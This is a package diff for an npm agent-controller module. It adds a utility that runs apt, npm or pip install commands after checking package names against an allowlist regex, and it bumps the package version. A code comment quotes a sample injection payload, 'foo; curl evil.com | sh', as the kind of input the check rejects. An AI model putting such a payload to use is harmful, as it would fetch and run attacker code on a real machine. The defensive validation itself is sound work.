M,GAAG,GAAG,cAAc,CAAC,GAAG,CAAC,CAAC;QAChC,IAAI,CAAC,GAAG,EAAE,CAAC;YACT,OAAO,CAAC,GAAG,CAAC,GAAG,EAAE,KAAK,EAAE,eAAe,EAAE,CAAC;YAC1C,SAAS;QACX,CAAC;QACD,OAAO,CAAC,GAAG,CAAC,GAAG,MAAM,QAAQ,CAAC,GAAG,CAAC,CAAC;IACrC,CAAC;IACD,OAAO,OAAO,CAAC;AACjB,CAAC"}

package/dist/utils/package-install.d.ts

@@ -0,0 +1,14 @@
+export declare const INSTALL_TIMEOUT_MS = 300000;
+export type PackageManager = 'apt' | 'npm' | 'pip';
+export declare function isSafePackageName(name: string): boolean;
+export declare function buildInstallCommand(manager: PackageManager, pkg: string): string;
+export interface InstallOnePackageResult {
+    ok: boolean;
+    error?: string;
+}
+/**
+ * Install a single package via the named manager. Validates the package
+ * name against the allowlist regex first; never reaches the shell with an
+ * unsafe name.
+ */
+export declare function installOnePackage(manager: PackageManager, pkg: string, timeoutMs?: number): Promise<InstallOnePackageResult>;

package/dist/utils/package-install.js

@@ -0,0 +1,60 @@
+import { exec } from 'node:child_process';
+import { toErrorMessage } from './response.js';
+// ---------------------------------------------------------------------------
+// Shared package-install module — used by:
+//   - src/handlers/package-install.ts  (WS handler)
+//   - src/commands/package-install-cli.ts (CLI)
+//
+// Security model: regex allowlist on package names rather than an enum of
+// blessed packages. We accept characters that are valid in real package
+// names on apt/npm/pip and reject every shell metacharacter so that a
+// payload like "foo; curl evil.com | sh" cannot reach the shell.
+// ---------------------------------------------------------------------------
+export const INSTALL_TIMEOUT_MS = 300_000; // 5 minutes total
+/**
+ * Allowed: letters, digits, @, ., _, /, -, +, :, %, [, ], ^, ~, =, comma, *
+ * (covers npm scopes, semver ranges like "pkg@^1.2", apt epoch prefixes
+ * like "2:pkg", pip extras "pkg[extra]")
+ */
+const SAFE_PACKAGE_NAME_RE = /^[a-zA-Z0-9@._/\-+:%[\]^~=,*]+$/;
+export function isSafePackageName(name) {
+    return SAFE_PACKAGE_NAME_RE.test(name);
+}
+export function buildInstallCommand(manager, pkg) {
+    switch (manager) {
+        case 'apt':
+            return `apt-get install -y ${pkg}`;
+        case 'npm':
+            return `npm install -g ${pkg}`;
+        case 'pip':
+            return `pip install ${pkg}`;
+    }
+}
+function execPackage(cmd, timeoutMs) {
+    return new Promise((resolve, reject) => {
+        exec(cmd, { timeout: timeoutMs }, (error) => {
+            if (error)
+                reject(error);
+            else
+                resolve();
+        });
+    });
+}
+/**
+ * Install a single package via the named manager. Validates the package
+ * name against the allowlist regex first; never reaches the shell with an
+ * unsafe name.
+ */
+export async function installOnePackage(manager, pkg, timeoutMs = INSTALL_TIMEOUT_MS) {
+    if (!isSafePackageName(pkg)) {
+        return { ok: false, error: 'Invalid package name: contains disallowed characters' };
+    }
+    try {
+        await execPackage(buildInstallCommand(manager, pkg), timeoutMs);
+        return { ok: true };
+    }
+    catch (err) {
+        return { ok: false, error: toErrorMessage(err) };
+    }
+}
+//# sourceMappingURL=package-install.js.map

package/dist/utils/package-install.js.map

@@ -0,0 +1 @@
+{"version":3,"file":"package-install.js","sourceRoot":"","sources":["../../src/utils/package-install.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,IAAI,EAAE,MAAM,oBAAoB,CAAC;AAC1C,OAAO,EAAE,cAAc,EAAE,MAAM,eAAe,CAAC;AAE/C,8EAA8E;AAC9E,2CAA2C;AAC3C,oDAAoD;AACpD,gDAAgD;AAChD,EAAE;AACF,0EAA0E;AAC1E,wEAAwE;AACxE,sEAAsE;AACtE,iEAAiE;AACjE,8EAA8E;AAE9E,MAAM,CAAC,MAAM,kBAAkB,GAAG,OAAO,CAAC,CAAC,kBAAkB;AAE7D;;;;GAIG;AACH,MAAM,oBAAoB,GAAG,iCAAiC,CAAC;AAI/D,MAAM,UAAU,iBAAiB,CAAC,IAAY;IAC5C,OAAO,oBAAoB,CAAC,IAAI,CAAC,IAAI,CAAC,CAAC;AACzC,CAAC;AAED,MAAM,UAAU,mBAAmB,CAAC,OAAuB,EAAE,GAAW;IACtE,QAAQ,OAAO,EAAE,CAAC;QAChB,KAAK,KAAK;YACR,OAAO,sBAAsB,GAAG,EAAE,CAAC;QACrC,KAAK,KAAK;YACR,OAAO,kBAAkB,GAAG,EAAE,CAAC;QACjC,KAAK,KAAK;YACR,OAAO,eAAe,GAAG,EAAE,CAAC;IAChC,CAAC;AACH,CAAC;AAED,SAAS,WAAW,CAAC,GAAW,EAAE,SAAiB;IACjD,OAAO,IAAI,OAAO,CAAC,CAAC,OAAO,EAAE,MAAM,EAAE,EAAE;QACrC,IAAI,CAAC,GAAG,EAAE,EAAE,OAAO,EAAE,SAAS,EAAE,EAAE,CAAC,KAAK,EAAE,EAAE;YAC1C,IAAI,KAAK;gBAAE,MAAM,CAAC,KAAK,CAAC,CAAC;;gBACpB,OAAO,EAAE,CAAC;QACjB,CAAC,CAAC,CAAC;IACL,CAAC,CAAC,CAAC;AACL,CAAC;AAOD;;;;GAIG;AACH,MAAM,CAAC,KAAK,UAAU,iBAAiB,CACrC,OAAuB,EACvB,GAAW,EACX,YAAoB,kBAAkB;IAEtC,IAAI,CAAC,iBAAiB,CAAC,GAAG,CAAC,EAAE,CAAC;QAC5B,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,sDAAsD,EAAE,CAAC;IACtF,CAAC;IACD,IAAI,CAAC;QACH,MAAM,WAAW,CAAC,mBAAmB,CAAC,OAAO,EAAE,GAAG,CAAC,EAAE,SAAS,CAAC,CAAC;QAChE,OAAO,EAAE,EAAE,EAAE,IAAI,EAAE,CAAC;IACtB,CAAC;IAAC,OAAO,GAAG,EAAE,CAAC;QACb,OAAO,EAAE,EAAE,EAAE,KAAK,EAAE,KAAK,EAAE,cAAc,CAAC,GAAG,CAAC,EAAE,CAAC;IACnD,CAAC;AACH,CAAC"}

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@openclaw-cloud/agent-controller",
-  "version": "2.4.0-beta.3",
+  "version": "2.4.0-beta.5",
   "type": "module",
   "main": "dist/index.js",
   "bin": {